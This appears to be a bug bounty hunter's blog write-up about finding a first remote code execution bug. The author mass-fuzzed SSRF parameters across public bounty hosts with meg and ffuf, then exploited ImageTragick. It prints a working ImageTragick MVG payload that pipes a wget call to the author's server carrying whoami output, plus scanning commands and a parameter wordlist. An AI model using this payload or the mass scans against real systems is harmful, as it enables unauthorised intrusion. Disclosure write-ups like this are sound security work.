My first RCE: a tale of good ideas and good friends

TLDR: Through the help of two friends, some bash tricks, the use of Tomnomnom’s tool meg, and a service vulnerable to ImageTragick, I found my first RCE (and my first critical!) within the first two months of bug bounty hunting.

Good friends and good ideas

I have always found value in surrounding myself with people I can learn from. In my professional work life, that’s choosing to be around the most talented team member when possible.

When I got into bug bounty, I immediately followed people like @nahamsec, @zseano, and @stök. They are very talented and get a lot of questions so I knew I needed to find other sources of help as well.

Ben (@nahamsec) had started a discord. HackerOne also has a discord. I met @healthyoutlet on one of those discords and we’ve been friends ever since. We’re constantly bouncing ideas off each other. One day I told him it would be awesome to use @tomnomnom’s meg tool to hit ALL public bounty subdomains with different high-signal payloads and then grepping for signs that it was vulnerable. Like most hackers, he’s a doer so he immediately pulled down the github repo of all public programs (https://github.com/arkadiyt/bounty-targets-data), found the domains for the wildcards with findomain, and sent me the list.

It was around 300,000 subdomains and >600,000 hosts because nearly all of them were running on both port 80 and 443.

We tried lots of different payloads:

  • CRLF via %0d%0a
  • Path traversal
  • Known sensitive paths
  • etc.

The idea that resulted in this write-up (and therefore, my first critical!) was parameter fuzzing. I had the idea to search for SSRF via stuffing a bunch of parametes into a request like:

https://example.com?url=myserver.com/url&file=myserver.com/file...

So I was telling @michael1026 about my idea and he suggested a big list of parameters. Since Discord keeps good history, I dug it up for this post:

content, counturl, dest_url, document, domain, download, file, http, https, image, image_src, imageurl, include, media, Page, pageurl, page_url, picture, referrer, req, request, source, src, uri, url

I am pretty frugal, and I hadn’t made any money from bug bounty at this point, so I didn’t have Burp Pro and collaborator. So here was the steps I took:

  1. Start a simple server on my VPS with python3 -m http.server
  2. Run the following command. I used return code 777 because I didn’t really want to save off any repsponses.
    meg -c 100 -d 100 -s 777 "/?url=http://{my-server-ip}&file=http://{my-server-ip}&path=..." all_hosts.txt
    
  3. Wait for a ping on my server.
  4. ???
  5. Profit!

Oh wait… maybe you already spotted the issue. I received a few pings on my simple http server, and I got really excited. But then I realized that I had no idea what parameter or host was vulnerabe.

What I did to find the host and param name

I used the linux split command to cut the hosts into 100 files and wrote a for loop to iterate over them. I watched the simple server logs to see when I got a hit. Then I broke that flie into 100 files and did it again until I figured out the host. I did something similarly stupid to figure out the param name. It took a few hours when it shouldn’t have, but it ended up being worth it :)

What I should have done

  1. I should have used ffuf. It’s an awesome and flexible fuzzer. Check it out if you haven’t used it.
  2. Also, I should have added the parameter name to the path. Then I would immediately know which parameter was vulnerable.
  3. It would have been nice to include the domain in the path of the request so I would know which domain was vulnerable. This has to change PER request, which isn’t trivial. I could have used some bash magic and curl. But nowadays, with the new pitchfork mode in ffuf, I could have requested the domain in the endpoint path pretty easily.

Putting it all together, I should have done:

ffuf -c -u HOST/?url=http://{my-server-ip}/DOMAIN/url&file=http://{my-server-ip}/DOMAIN/file -w hosts.txt:HOST -w domains.txt:DOMAIN -mode pitchfork -v 

Hosts.txt would contain hosts including the protocol. Domains would be the hosts WITHOUT the protocal lining up line-per-line with the hosts. You could easily generate this with @tomnomnom’s tool unfurl via a command like this: cat hosts.txt | unfurl -format %d | tee -a domains.txt

Wrapping up

The vulnerable host had the word image in the subdomain. So I hosted an image on my server and did curl -v https://vulnerablehost.com/url=http://{my-server-ip}/image.jpg and sure enough, the vulnerable host grabbed the image from my server and then delivered it to me. I was telling @healthyoutlet everything I was doing and asking for advice. He told me to check the downloaded image size. sure enough, it was completely different than the original. I opened up an image compare tool and there were lots of pixel differences. It was definitely being processed. So then @healthyoutlet mentions that it might be using ImageTragick and to look into it. I quickly googled it, found the PoC’s on github and modified it so that the code being executed was

push graphic-context
viewbox 0 0 640 480 
fill 'url(https://127.0.0.0/oops.jpg"|wget http://{my-server-ip}/$(whoami)'
pop graphic-context

After a few seconds, I got a hit on my simple server at /Serving. Not root, but it still proved RCE by the wget request being performed AND showing the username of the user running the web server.

So, with imagetragick, an attacker can replace everything to the right of the pipe with whatever code they want. I thought about getting a shell and seeing if I could pivot or escalate, but RCE is already a critical, and I decided to play it on the safe side.

Take-aways

  • Friends and collaboration are immensely valuable, especially when you’re first starting. I wouldn’t have found this without my friends helping.
  • Creativity and huge data sets can lead to interesting findings.
  • Don’t assume old CVEs aren’t still around. ImageTragick is a 2016 CVE and this was found on a well-known public bug bounty program.

I hope you enjoyed the write-up. I’ve got a few more from the last few months that might be interesting to write up as well. Let me know if you’d like to see those.

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